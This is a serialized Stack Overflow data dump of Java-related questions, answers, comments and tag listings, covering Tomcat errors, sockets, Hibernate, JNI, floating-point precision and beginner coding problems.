type: QuestionComment

http://stackoverflow.com/q/22248348
has comment: http://stackoverflow.com/comment/33788461
has answer: http://stackoverflow.com/a/22248516
type: Question
downvote count: 0
possible better answer: http://stackoverflow.com/a/22248582
tagged with: tomcat
has answer: http://stackoverflow.com/a/22248582
favorite count: 0
tagged with: linux
upvote count: 8
has answer: http://stackoverflow.com/a/22249821
tagged with: windows
has body: I have the following code that reads from a file: private static void writeLogs(String filePath, PrintWriter writer)throws ServletException, IOException { String fullFilePath = AppConfig.getAppDir()+"/auditlogs/"+filePath+".log"; System.out.println("loading log files from --&gt; "+fullFilePath); BufferedReader br = new BufferedReader(new FileReader(fullFilePath)); try { StringBuilder sb = new StringBuilder(); String line; List&lt;String&gt; tmp = new ArrayList&lt;String&gt;(); do { line = br.readLine(); tmp.add(line); }while (line != null); for(int i=tmp.size()-1;i&gt;=0;i--) { if(tmp.get(i)!=null){ sb.append(tmp.get(i)); sb.append(System.lineSeparator()); } } String logs = sb.toString(); writer.write(logs); } finally { br.close(); } } This works as expected when I deploy on tomcat server on windows. When I try to the same on linux, the files don't get read. On inspecting the tomcat log file I see: SEVERE: Servlet.service() for servlet ReadLogsServlet threw exception java.lang.NoSuchMethodError: java.lang.System.lineSeparator()Ljava/lang/String; at com.ericsson.ims.web.servlet.ReadLogsServlet.writeLogs(ReadLogsServlet.java:53) at com.ericsson.ims.web.servlet.ReadLogsServlet.doGet(ReadLogsServlet.java:26) at javax.servlet.http.HttpServlet.service(HttpServlet.java:617) at javax.servlet.http.HttpServlet.service(HttpServlet.java:723) The error occurs due to System.lineSeparator()but when I check the javadoc, it says: Returns the system-dependent line separator string. It always returns the same value - the initial value of the system property line.separator. On UNIX systems, it returns "\n"; on Microsoft Windows systems it returns "\r\n". Can anyone explain why this doesn't work and how to fix so it will work on multiple platforms?
accepted answer: http://stackoverflow.com/a/22248516
answer count: 4
score: 8
has answer: http://stackoverflow.com/a/22248679
has comment: http://stackoverflow.com/comment/33788494
type: AnsweredQuestion
has title: NoSuchMethodError when deployed on linux
tagged with: java

tcp
tags question: http://stackoverflow.com/q/22220768
tags question: http://stackoverflow.com/q/22264500
type: Tag
tags question: http://stackoverflow.com/q/22249480
tags question: http://stackoverflow.com/q/22221846
tags question: http://stackoverflow.com/q/22263389
tags question: http://stackoverflow.com/q/22244587
tags question: http://stackoverflow.com/q/22176191
tags question: http://stackoverflow.com/q/22221352
tags question: http://stackoverflow.com/q/22264972
tags question: http://stackoverflow.com/q/22213149
tags question: http://stackoverflow.com/q/22299085
tags question: http://stackoverflow.com/q/22214816
tags question: http://stackoverflow.com/q/22239680
tag name: tcp

http://stackoverflow.com/comment/33781125
type: Comment
type: QuestionComment
has text: i need to use xpath expression in java..
comment on: http://stackoverflow.com/q/22243697
score: 0

http://stackoverflow.com/q/22216291
has title: JAVA sockets client to client communication
answer count: 3
has answer: http://stackoverflow.com/a/47311498
favorite count: 0
has body: I was planning to create a chat messaging application wherein two or more clients can communicate but I am a little confused. Does java can have a client to client communication using sockets? Does the socket communication always needs a server? Is it possible that one client will stand a server of the communication? Do you have any tutorials for a client to client communication? If the communication needs a server, how a can a client A see Client B's messages?
type: UnansweredQuestion
tagged with: sockets
tagged with: instant-messaging
has answer: http://stackoverflow.com/a/22216362
score: 2
upvote count: 3
downvote count: 1
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22216996
tagged with: chat

http://stackoverflow.com/q/22170335
type: Question
has body: I am developing a web application using JSP. Now i want to add a forum to it. Please any one knows about embedded forums that can use with existing jsp web application.
tagged with: forum
score: 0
answer count: 1
tagged with: jsp
has answer: http://stackoverflow.com/a/22170996
type: UnansweredQuestion
has title: How add embedded forum to existing JSP web application
has comment: http://stackoverflow.com/comment/33648456
has comment: http://stackoverflow.com/comment/33648351
tagged with: java

http://stackoverflow.com/comment/33695112
type: Comment
comment on: http://stackoverflow.com/a/22194437
score: 0
type: AnswerComment
has text: debug your code, check what you are passing for particular notification and what you are receiving when notification click.

http://stackoverflow.com/comment/33771622
type: AnswerComment
has text: Thank you so much, it is solved. This is working fine without mapping manually. I am not sure what was my problem from last night that I could not get it work! @ninnemannk
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22212300

http://stackoverflow.com/a/33614765
answers question: http://stackoverflow.com/q/22316001
score: 0
type: Answer
has body: I've just created a maven project using sqlj-maven-plugin, and works for me. (I'm using jdk6, mvn 3.1.1 and version 1.3 of the plugin). I was getting the "Couldn't retrieve SQLJ Translator version info" error, but was an incompatibility error between my translator.jar and the plugin (I've submitted the correction here)

http://stackoverflow.com/a/22324082
type: Answer
answers question: http://stackoverflow.com/q/22323959
has body: This is possible if your ArrayList is frequently persisted either on the file system or in a database. This is what you need to do.
score: 0

http://stackoverflow.com/a/22189201
type: Answer
has comment: http://stackoverflow.com/comment/33682465
has comment: http://stackoverflow.com/comment/33682127
has comment: http://stackoverflow.com/comment/33682259
answers question: http://stackoverflow.com/q/22189081
has body: You have to take a bit of a zen* approach to floating-point numbers: rather than eliminating the error, learn to live with it. In practice this usually means doing things like: when displaying the number, use String.format to specify the amount of precision to display (it'll do the appropriate rounding for you) when comparing against an expected value, don't look for equality (==). Instead, look for a small-enough delta: Math.abs(myValue - expectedValue) &lt;= someSmallError EDIT: For infinity, the same principle applies, but with a tweak: you have to pick some number to be "large enough" to treat as infinity. This is again because you have to learn to live with, rather than solve, imprecise values. In the case of something like tan(90 degrees), a double can't store π/2 with infinite precision, so your input is something very close to, but not exactly, 90 degrees -- and thus, the result is something very big, but not quite infinity. You may ask "why don't they just return Double.POSITIVE_INFINITY when you pass in the closest double to π/2," but that could lead to ambiguity: what if you really wanted the tan of that number, and not 90 degrees? Or, what if (due to previous floating-point error) you had something that was slightly farther from π/2 than the closest possible value, but for your needs it's still π/2? Rather than make arbitrary decisions for you, the JDK treats your close-to-but-not-exactly π/2 number at face value, and thus gives you a big-but-not-infinity result. For some operations, especially those relating to money, you can use BigDecimal to eliminate floating-point errors: you can really represent values like 0.1 (instead of a value really really close to 0.1, which is the best a float or double can do). But this is much slower, and doesn't help you for things like sin/cos (at least with the built-in libraries). * this probably isn't actually zen, but in the colloquial sense
has comment: http://stackoverflow.com/comment/33682221
has comment: http://stackoverflow.com/comment/33682639
accepted answer of: http://stackoverflow.com/q/22189081
upvote count: 4
type: AcceptedAnswer
downvote count: 0
score: 4

http://stackoverflow.com/comment/35372955
comment on: http://stackoverflow.com/q/22196295
score: 0
has text: @markvgti i dint chnage my code, as somebody had suggested elsewhere in SO dat i need to actually see d result in Production not Dev Server.Yet to deploy.. Are you seeing this issue in prod.?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22252326
upvote count: 1
has answer: http://stackoverflow.com/a/22253272
has comment: http://stackoverflow.com/comment/33795617
tagged with: java
tagged with: hibernate
has title: hibernate, stackoverflow with particular entity mapping
type: Question
answer count: 1
downvote count: 0
favorite count: 0
has body: I have the following mapping: @Entity public class Satellite implements Serializable, Comparable&lt;Satellite&gt; { @NotNull @Id private long id; ..... @OrderColumn @OneToMany(mappedBy = "satellite", cascade = CascadeType.ALL, fetch = FetchType.EAGER) private List&lt;DataModel&gt; dataModel; } and a child entity: @Entity @IdClass(value=DataModelPK.class) public class DataModel implements Serializable, Comparable&lt;DataModel&gt; { private static final long serialVersionUID = -3416403014857250990L; @Id private int orbit; // related to reference orbit file private int dataPerOrbit; // in Gbit @ManyToOne @Id private Satellite satellite; } originally, DataModel was an embeddable entity, but for a better control over the primary key and the underlying structure of the db, I switched to a more traditional model. The point is, during the loading of the entity now it generate a stack overflow!! I think there is some cyclic loading between those two entities and it got stuck! I'm thinking to revert everything back to what it was, but I wish to understand why it gives me this error.
has comment: http://stackoverflow.com/comment/33800648
type: UnansweredQuestion
score: 1

http://stackoverflow.com/q/22321666
tagged with: android
score: -1
tagged with: c++
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22324503
tagged with: java
has answer: http://stackoverflow.com/a/22324503
downvote count: 1
type: Question
has title: Return a class pointer to Java by JNI
tagged with: java-native-interface
has body: There is a existing class pointer in C++ How do i get this class pointer and converter to class in java by JNI Class_A_B.cpp Class ClassB { public: int funcA(); int funcB(); } Class ClassA { public: virtual void func(){B = new ClassB();}; ClassB* B; ClassB* GetClassB(){return B;}; } Jni_Class_A_B.cpp ClassA TestClassA = new ClassA(); extern "C" JNIEXPORT jobject JNICALL Java_com_core_Android_getClassB(JNIEnv *env, jobject thiz) { return (jobject)TestClassA-&gt;GetClassB(); // It will crash, how to converter class pointer to jobject? } GetClassB.java public native ClassB getClassB(); public void TestFunction() { ClassB B = getClassB(); }
answer count: 2
upvote count: 0
has answer: http://stackoverflow.com/a/22322042
favorite count: 0
accepted answer: http://stackoverflow.com/a/22322042

http://stackoverflow.com/comment/33870110
comment on: http://stackoverflow.com/a/22292718
score: 0
type: AnswerComment
has text: Autoboxing will automatically convert primitive to appropriate object and vise versa. Maps were designed in Java to handle objects as keys, I would use autoboxing, ignoring performance concerns, that you might have, pursing performance in this case, can have opposite effect.
type: Comment

http://stackoverflow.com/comment/44580266
has text: You still get _what_? If you get notification about memory leak detected and stale objects removed, that's expected
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22244486

http://stackoverflow.com/comment/33724421
score: 0
has text: @HotLicks I tried Math.acos instead of Math.cos and my program returned 90.
type: QuestionComment
comment on: http://stackoverflow.com/q/22212440
type: Comment

http://stackoverflow.com/q/22210941
has comment: http://stackoverflow.com/comment/33722878
has comment: http://stackoverflow.com/comment/33723475
score: 0
tagged with: android
linked to: http://stackoverflow.com/q/12769798
tagged with: load
has comment: http://stackoverflow.com/comment/33721608
answer count: 0
has comment: http://stackoverflow.com/comment/33723029
has title: Android Java Calculations app, various problems
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33723643
has body: I am very new to java and android programming (apologies), and I am struggling with this coding! I am attempting to make an app which will calculate a couple of different basic formulae: ((r*i)*s)/(m*1000) (two instances of such) ((r_1*i_1)+(r_2*i_2))*s)/(m*1000) I had many issues with getting the calculation to work so I began "playing" with the code.. and now I've done something bad with it and it crashes on start up :( wondering if anyone can see anything I've done wrong or overlooked? import android.app.Activity; import android.os.Bundle; import android.view.Menu; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; public class MainActivity extends Activity { //declare fields EditText radius1; EditText radius2; EditText imbalance1; EditText imbalance2; EditText speed; EditText totalmass; TextView Gplane1; TextView Gplane2; TextView Gtotal; Button calc; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //Bind the EditText,TextView and Button views radius1 = (EditText)findViewById(R.id.ra1i); radius2 = (EditText)findViewById(R.id.rad2i); imbalance1 = (EditText)findViewById(R.id.imb1i); imbalance2 = (EditText)findViewById(R.id.imb2i); speed = (EditText)findViewById(R.id.sp1); totalmass = (EditText)findViewById(R.id.mT1i); Gplane1 = (TextView)findViewById(R.id.G1o); Gplane2 = (TextView)findViewById(R.id.G2o); Gtotal = (TextView)findViewById(R.id.GTo); calc = (Button)findViewById(R.id.calc1); calc.setOnClickListener(new OnClickListener() { @Override public void onClick(View v){ //When the button is clicked, call the calculate method calculate(); } }); } public void calculate(){ //get entered texts from edits, and convert to integers. Double r1 = Double.parseDouble(radius1.getText().toString()); Double r2 = Double.parseDouble(radius2.getText().toString()); Double im1 = Double…
has comment: http://stackoverflow.com/comment/33721620
tagged with: java
type: Question
tagged with: crash

http://stackoverflow.com/a/22233398
upvote count: 2
answers question: http://stackoverflow.com/q/22228982
type: Answer
score: 2
downvote count: 0
has body: You forgot to register the listener to the location service. Add this code after the declaration of locationListener variable. if(location.isProviderEnabled("gps")) location.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, locationListener); if(location.isProviderEnabled("network")) location.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 0, 0, locationListener);

http://stackoverflow.com/q/22253220
has body: I have an HTML form that makes a POST request to a Socket I made with Java. I read each line with /** * Read a line from an {@link InputStream} * @param inFromClient The {@link InputStream} to read from * @return The {@link String} read * @throws IOException When something went wrong while reading */ private String readLine(InputStream inFromClient) throws IOException { StringBuilder lineb = new StringBuilder(); char c = (char) inFromClient.read(); while (c != '\n'){ lineb.append(Character.toString(c)); c = (char) (inFromClient.read()); } String line = lineb.toString(); return line.substring(0,line.lastIndexOf('\r')&lt;0?0:line.lastIndexOf('\r')); } That way, I'm able to parse the request till the boundary and then save the file sent. Everything works perfectly. However, I'm also trying to make a POST request with Java to the same socket. First, I create a second socket connected to my server socket. Then I do: PrintWriter pw = new PrintWriter(socket.getOutputStream(), true); pw.println("POST / HTTP/1.1"); pw.println("Host: ..."); ... The problem The problem is, my method cannot read any line and it all ends up with a "OutOfMemory' exception at line 5. Why am I not able to read lines sent from a Java socket while I can read those sent from my browser (html form) ? Thank you.
score: 0
has comment: http://stackoverflow.com/comment/33797473
answer count: 1
tagged with: outputstream
has title: InputStream of a socket not readable
has answer: http://stackoverflow.com/a/22253414
has comment: http://stackoverflow.com/comment/33797585
tagged with: sockets
accepted answer: http://stackoverflow.com/a/22253414
type: AnsweredQuestion
tagged with: java
tagged with: post
type: Question
tagged with: encoding

http://stackoverflow.com/comment/33672002
score: 1
type: QuestionComment
has text: One issue I see is, checkStr == "invalid" should be "invalid".equals(checkStr);
type: Comment
comment on: http://stackoverflow.com/q/22183463

http://stackoverflow.com/comment/33713124
type: QuestionComment
comment on: http://stackoverflow.com/q/22205876
has text: @neildo I don't have access to the details of the code that creates the session. But the fact that my get() method returns results, doesn't that mean that hiberante sees my configuration file?
score: 0
type: Comment

http://stackoverflow.com/q/22251882
favorite count: 0
has comment: http://stackoverflow.com/comment/33794804
type: UnansweredQuestion
score: -3
downvote count: 4
has comment: http://stackoverflow.com/comment/33794841
has body: Basically I have a number of arrays, and I would like to let the user change some of the data if he wants to by user input. I think i should use a scanner, but I'm not exactly clear of how to do this. The arrays are stored in a class called database private Student[] arrayStudents; public DepotDatabase() { arrayStudents = new Driver[4]; arrayStudents[0] = new Student("First", "Second", 1234, 1234); // sample student arrayStudents[1] = new Student("First 1", "Second2" , 4444, 4444); // sample student This is what the data in the arrays are called in a another class called Student. public Student(String firstName, String lastName, int username, int password) { this.firstName = firstName; this.lastName = lastName; this.username = username; this.password = password; } and in another class called SetUpCourse I would like to let the user to change the name of a student by user input, and also change the username from e.g arrayStudent[0] to arrayStudent[1] like the password I think I would have something like this in SetUpWorkSchedule Scanner scan = new Scanner(System.in); System.out.println("Please enter a password"); setPassword() = scan.nextLine(); database.printArrayStudent(); Now to print out the array i have a method called printArrayStudent and this prints out all the students.
tagged with: java
type: Question
has title: How to change an object in an array by user input?
has comment: http://stackoverflow.com/comment/33799337
upvote count: 1
tagged with: arrays
answer count: 1
has answer: http://stackoverflow.com/a/22252180

http://stackoverflow.com/comment/33911785
type: AnswerComment
has text: Thank you, anirudh, I fixed that.
type: Comment
comment on: http://stackoverflow.com/a/22316442
score: 0

eclipse
tags question: http://stackoverflow.com/q/22214400
tags question: http://stackoverflow.com/q/22264488
tags question: http://stackoverflow.com/q/22272075
tags question: http://stackoverflow.com/q/22187650
tag name: eclipse
tags question: http://stackoverflow.com/q/22215518
tags question: http://stackoverflow.com/q/22278040
tags question: http://stackoverflow.com/q/22207657
tags question: http://stackoverflow.com/q/22263940
tags question: http://stackoverflow.com/q/22321851
tags question: http://stackoverflow.com/q/22263458
tags question: http://stackoverflow.com/q/22295787
tags question: http://stackoverflow.com/q/22187128
tags question: http://stackoverflow.com/q/22253936
tags question: http://stackoverflow.com/q/22203409
tags question: http://stackoverflow.com/q/22181935
tags question: http://stackoverflow.com/q/22219380
tags question: http://stackoverflow.com/q/22240545
tags question: http://stackoverflow.com/q/22286974
tags question: http://stackoverflow.com/q/22246015
tags question: http://stackoverflow.com/q/22254460
tags question: http://stackoverflow.com/q/22297963
tags question: http://stackoverflow.com/q/22196628
tags question: http://stackoverflow.com/q/22292993
tags question: http://stackoverflow.com/q/22252478
tags question: http://stackoverflow.com/q/22236132
tags question: http://stackoverflow.com/q/22257517
tags question: http://stackoverflow.com/q/22281653
tags question: http://stackoverflow.com/q/22301993
tags question: http://stackoverflow.com/q/22206580
tags question: http://stackoverflow.com/q/22290673
tags question: http://stackoverflow.com/q/22265283
tags question: http://stackoverflow.com/q/22286037
tags question: http://stackoverflow.com/q/22243651
tags question: http://stackoverflow.com/q/22264281
tags question: http://stackoverflow.com/q/22185175
tags question: http://stackoverflow.com/q/22197428
tags question: http://stackoverflow.com/q/22197426
tags question: http://stackoverflow.com/q/22303659
tags question: http://stackoverflow.com/q/22202583
tags question: http://stackoverflow.com/q/22290021
tags question: http://stackoverflow.com/q/22218938
tags question: http://stackoverflow.com/q/22326382
tags question: http://stackoverflow.com/q/22181240
tags question: http://stackoverflow.com/q/22211366
tags question: http://stackoverflow.com/q/22298206
tags question: http://stackoverflow.com/q/22256533
tags question: http://stackoverflow.com/q/22181028
tags question: http://stackoverflow.com/q/22255895
tags question: http://stackoverflow.com/q/22285545
tags question: http://stackoverflow.com/q/22233511
tags question: http://stackoverflow.com/q/22294022
tags question: http://stackoverflow.com/q/22180954
tags question: http://stackoverflow.com/q/22204659
tags question: http://stackoverflow.com/q/22195092
tags question: http://stackoverflow.com/q/22278222
tags question: http://stackoverflow.com/q/22198899
tags question: http://stackoverflow.com/q/22327018
tags question: http://stackoverflow.com/q/22276616
tags question: http://stackoverflow.com/q/22221381
tags question: http://stackoverflow.com/q/22186411
tags question: http://stackoverflow.com/q/22286097
tags question: http://stackoverflow.com/q/22287058
tags question: http://stackoverflow.com/q/22188230
tags question: http://stackoverflow.com/q/22246615
tags question: http://stackoverflow.com/q/22328133
tags question: http://stackoverflow.com/q/22200676
tags question: http://stackoverflow.com/q/22293694
tags question: http://stackoverflow.com/q/22320900
tags question: http://stackoverflow.com/q/22198611
tags question: http://stackoverflow.com/q/22234218
tags question: http://stackoverflow.com/q/22190076
tags question: http://stackoverflow.com/q/22279730
tags question: http://stackoverflow.com/q/22219392
tags question: http://stackoverflow.com/q/22301949
tags question: http://stackoverflow.com/q/22236791
tags question: http://stackoverflow.com/q/22268673
tags question: http://stackoverflow.com/q/22271770
tags question: http://stackoverflow.com/q/22286316
tags question: http://stackoverflow.com/q/22318138

windows-xp
tags question: http://stackoverflow.com/q/22302510
tags question: http://stackoverflow.com/q/22255523
type: Tag
tag name: windows-xp

http://stackoverflow.com/comment/33716401
type: Comment
type: QuestionComment
has text: Are you trying to implement an `EditText` with `AutoCompleteTextView`, so an user writes something and a dropdown list appears?
comment on: http://stackoverflow.com/q/22208061
score: 0

http://stackoverflow.com/q/22291946
has title: How to create a custom form tag
downvote count: 0
tagged with: jsp
favorite count: 0
tagged with: jsp-tags
type: UnansweredQuestion
has body: I am planning to create a new web application framework like Struts 2 and JSF, but how to create the custom tags like form, inputText in JSF? And i have an idea regarding the custom tag development, but the problem is unable to set the request parameters, using setParameter because such method does not exist Already tried posting it in JavaRanch but no luck please guide me Thanks a lot in advance Regards, Siddartha C.S
answer count: 0
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33868925
upvote count: 1
has comment: http://stackoverflow.com/comment/33869008
type: Question

http://stackoverflow.com/q/22284366
has answer: http://stackoverflow.com/a/22284414
answer count: 3
favorite count: 0
has answer: http://stackoverflow.com/a/22284643
upvote count: 2
has body: I am new to the Java world and got doubt in working with one of the assignments. I have a Base class reference and a private method in it, and a derived class in which the same method is overridden and with a public assess. Now when I started compiling this piece of code I am getting a compilation error. Can someone please let me know why this is happening: CODE: import java.util.*; import java.lang.*; import java.io.*; class Base { private void myfunc() { System.out.println("Base class"); } } class Derived extends Base { public void myfunc() { System.out.println("Derived class"); } } class MyClass { public static void main (String[] args) { Base b = new Derived(); b.myfunc(); // This line is giving compilation issue. } } And I am getting the following error: error: myfunc() has private access in Base b.myfunc(); ^
type: UnansweredQuestion
score: 1
tagged with: java
has title: Inheritance and access specifying
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22284536
tagged with: inheritance

http://stackoverflow.com/comment/33725744
has text: Do you want the browser to _actually_ open and have a bot type it in for you, like [Selenium](http://docs.seleniumhq.org/), or are you just trying to send a GET request to Google's webservice(s)?
score: 0
comment on: http://stackoverflow.com/q/22213187
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22314152
type: Answer
score: 6
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22314103
has body: Thread.sleep cannot prevent a StackOverflowError. It doesn't take stack frames off the stack. All it will do is postpone the error. Each method calls takes up stack memory. By making a recursive call without stopping, all this program will do is take up more stack memory with each call, eventually filling it up and causing the error. Taking out Thread.sleep produces the error almost immediately. Changing it to Thread.sleep(1); (sleep for 1 ms at a time) makes the program take about 11 seconds to produce the error on my machine.
upvote count: 6
answers question: http://stackoverflow.com/q/22314103
type: AcceptedAnswer

http://stackoverflow.com/q/22265261
score: 0
possible better answer: http://stackoverflow.com/a/22265276
has answer: http://stackoverflow.com/a/22265274
favorite count: 0
answer count: 5
has body: I can't seem to figure out why my program is running? Can someone help steer me to the right direction? import java.util.*; public class EasyLoops { public static void main (String [] args) { Scanner input = new Scanner(System.in); System.out.print("Enter Number:"); int n = input.nextInt(); while ( n &gt; 0 ); { System.out.println("Hello World"); n = n - 1; } } }
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22265274
upvote count: 3
tagged with: java
downvote count: 3
type: Question
has answer: http://stackoverflow.com/a/22265299
has answer: http://stackoverflow.com/a/22265312
has answer: http://stackoverflow.com/a/22265276
has title: Why isn't my loop working? Only goes up to first print out
has answer: http://stackoverflow.com/a/22265297

http://stackoverflow.com/comment/33741253
score: 0
type: AnswerComment
has text: Anyway, is there a way to print the query which is sent to the DB with ebean? (However, if `filter.isEmpty()` there is no query (apart the limit put by `findPagingList()`), which is always the case for the home page).
type: Comment
comment on: http://stackoverflow.com/a/22222222

http://stackoverflow.com/comment/33764533
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22231489
has text: I see I left out my web.xml and mvc-dispatcher-servlet.xml files. I added them to the post above. Sorry.

http://stackoverflow.com/q/22322866
has answer: http://stackoverflow.com/a/30459946
score: 3
tagged with: apache-pig
upvote count: 3
tagged with: java
has title: How to write a pig algebraic udf for group by
type: Question
tagged with: hadoop
answer count: 1
downvote count: 0
tagged with: hdfs
favorite count: 0
has body: i want to write a pig code to perform group by and generate sum of 31 fields, but before that i need to do some custom processing for which i wrote an eval function. i think i can make it run faster if i can include the GROUP and SUM operations into the UDF. To do this can i use algebraic UDF if yes how would my return schema of inital(), intermed() and final() look like, if no how else can i implement this. below is my code and thanks. a = LOAD './a' using PigStorage('|') AS (val:int, grp1, grp2, amt1:long, amt2:long, amt3 ... amt31:long); b = FOREACH a GENERATE myudfs.Custom(val) AS custom_val, grp1, grp2, amt1 ... amt31; c = GROUP b BY (custom_val,grp1, grp2); d = FOREACH c GENERATE group, SUM(b.amt1) ... SUM(b.amt31); store d into './op';
type: UnansweredQuestion

http://stackoverflow.com/q/22289739
score: 0
tagged with: iterator
answer count: 1
has body: I am having a problem with my nested if else statement. I am inputting a item title and I am trying to make it so if that item title does not exist in my database the program will tell the user that the title does not exist. My program currently skips over the else if statement that should be outputting "no entry" any help with this would be greatly appreciated. else if (Option == 2) { scan.nextLine(); System.out.println("item title"); title = scan.nextLine(); boolean found = false; for (MediaItem mi : media){ if (mi.getTitle().equals(title) &amp;&amp; mi.onLoan == true){ found = true; System.out.println("already on loan"); break a; } if (!flag) {System.out.println("This title does not exist in the library"); break a;} } System.out.println("Who are you loaning it to?"); loanedTo = scan.nextLine(); System.out.println("When did you loan it to them?"); dateLoaned = scan.nextLine();
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22289782
has title: nested if else statement wont go to if else section
tagged with: java.util.scanner
has comment: http://stackoverflow.com/comment/33864062
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33864084
has answer: http://stackoverflow.com/a/22289782
tagged with: if-statement

http://stackoverflow.com/q/22257526
tagged with: java
tagged with: date
linked to: http://stackoverflow.com/q/38922754
linked to: http://stackoverflow.com/q/3144387
type: AnsweredQuestion
tagged with: android
possible better answer: http://stackoverflow.com/a/68152245
has answer: http://stackoverflow.com/a/22257633
has answer: http://stackoverflow.com/a/68152245
type: Question
tagged with: time
answer count: 2
has title: Calculate time between the current time and a certain day
has body: I am fairly new to (Java) programming and I am trying to build a little Android app that will tell you if it's already weekend or not. I already got it so far that it can tell you if it's weekend or not, however I also want to show a little countdowntimer in that app until the weekend starts, or ends. I am unable to think about an Algorithm to calculate the time (in milliseconds) between the current time and the next Saturday (if it's not in a weekend) or Monday if it's a weekend. I know how to get the current day in the week using the Calendar class, however I get stuck when I try to get the time until the next Saturday or Monday. I can't think about a way to do this. This might sound like a stupid question but I have really lost my mind in this. Hopefully one of you guys can help me out.
tagged with: calendar
score: 0
accepted answer: http://stackoverflow.com/a/22257633

http://stackoverflow.com/comment/33673192
score: 0
type: AnswerComment
type: Comment
has text: So to push my traversed locations into a stack(starting on 'S'), do I iterate through the 2d array or the file?
comment on: http://stackoverflow.com/a/22184007

http://stackoverflow.com/a/22187377
has body: If "titles" is an array (indicated by []): for (int i = 0; i &lt; titles.length; i++) { String title = titles[i]; //code here } If "titles" is a List: for (int i = 0; i &lt; titles.size(); i++) { String title = titles.get(i); //code here }
type: Answer
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/22187367
downvote count: 0

http://stackoverflow.com/a/22290455
has body: I found an answer here Creating an instance using the class name and calling constructor Where you can call class by its name Class&lt;?&gt; clazz = Class.forName(className); Constructor&lt;?&gt; ctor = clazz.getConstructor(String.class); Object object = ctor.newInstance(new Object[] { ctorArgument });
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/22290406
downvote count: 0
score: 1

http://stackoverflow.com/a/22242760
score: 4
upvote count: 4
answers question: http://stackoverflow.com/q/22242428
downvote count: 0
type: Answer
has body: It is depending on which database you use in your web application. There is full text search facility in MongoDB. You can use Lucene for text search.

http://stackoverflow.com/a/22287492
downvote count: 0
type: Answer
upvote count: 1
has body: Here is what your server returns formatted. Index of /payment Index of /payment Parent Directory includep/ indexp.php So this is a server side problem. Before trying to use your web service in an environment, like android, try it using a tool specially developed for testing purposes, like Postman for chrome.
score: 1
answers question: http://stackoverflow.com/q/22235284

http://stackoverflow.com/a/22308462
type: Answer
has body: public class Employee { protected long employeeId; public boolean equals(Object o){ if(o == null) return false; if(!(o instanceof) Employee) return false; Employee other = (Employee) o; return this.employeeId == other.employeeId; } public int hashCode(){ return (int) this.employeeId; } } In this example, we have overridden the equals method - two employees are equal when they will have same employee id. If two Employee objects are equal, they will also have the same hash code. Your Ans - In this example, we also implemented the hash code - hashcode is the employeeId that is rounded down to an int. That means that many employee id's could result in the same hash code, but these Employee objects would still not be equal, since they don't have the same employee id.
answers question: http://stackoverflow.com/q/22308130
score: 0

http://stackoverflow.com/a/22212926
has comment: http://stackoverflow.com/comment/46017449
answers question: http://stackoverflow.com/q/22212410
has comment: http://stackoverflow.com/comment/33725972
has comment: http://stackoverflow.com/comment/46057447
has comment: http://stackoverflow.com/comment/33785834
downvote count: 0
type: Answer
upvote count: 6
has body: You can annotate the property with @Email in your entity class. You can read the documentation in this link: http://docs.jboss.org/ejb3/app-server/HibernateAnnotations/api/org/hibernate/validator/Email.html Edited: String email = "email@test.com"; EmailValidator validator = new EmailValidator(); validator.isValid(email, null); The method "isValid" will return true if your string is a well-formed email address. Hope it helps!
score: 6

http://stackoverflow.com/q/22251395
score: 1
tagged with: java
has title: display strikethrough data in java server faces
upvote count: 1
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/33793983
has comment: http://stackoverflow.com/comment/33794042
possible better answer: http://stackoverflow.com/a/22251516
accepted answer: http://stackoverflow.com/a/22251846
downvote count: 0
has body: I display a table of values contained in a list of Data objects &lt;p:dataTable var="mydata" value="#{myBean.datas}&gt; In each Data object, I have a boolean attribute isStrikethrough. I would like that, when the value isStrikethrough is set to true, the corresponding line should be strikethrough. Could you provide me with some hints ?
favorite count: 0
has answer: http://stackoverflow.com/a/22251846
has answer: http://stackoverflow.com/a/22251516
type: AnsweredQuestion
tagged with: jsf

hibernate
tags question: http://stackoverflow.com/q/22260301
tags question: http://stackoverflow.com/q/22246105
tags question: http://stackoverflow.com/q/22273391
tags question: http://stackoverflow.com/q/22196577
tags question: http://stackoverflow.com/q/22204986
tags question: http://stackoverflow.com/q/22200458
tags question: http://stackoverflow.com/q/22271538
tags question: http://stackoverflow.com/q/22249187
tags question: http://stackoverflow.com/q/22200496
tags question: http://stackoverflow.com/q/22245469
tags question: http://stackoverflow.com/q/22206165
tags question: http://stackoverflow.com/q/22171980
tags question: http://stackoverflow.com/q/22196189
tags question: http://stackoverflow.com/q/22321582
tags question: http://stackoverflow.com/q/22286649
tags question: http://stackoverflow.com/q/22230407
tags question: http://stackoverflow.com/q/22270755
tags question: http://stackoverflow.com/q/22227756
tags question: http://stackoverflow.com/q/22178327
tags question: http://stackoverflow.com/q/22189899
tags question: http://stackoverflow.com/q/22221006
tags question: http://stackoverflow.com/q/22304540
tags question: http://stackoverflow.com/q/22252326
tags question: http://stackoverflow.com/q/22236127
tags question: http://stackoverflow.com/q/22292393
tags question: http://stackoverflow.com/q/22226567
tags question: http://stackoverflow.com/q/22234737
tags question: http://stackoverflow.com/q/22227412
tags question: http://stackoverflow.com/q/22288744
tags question: http://stackoverflow.com/q/22172763
tags question: http://stackoverflow.com/q/22171221
tags question: http://stackoverflow.com/q/22294100
tags question: http://stackoverflow.com/q/22294744
tags question: http://stackoverflow.com/q/22173962
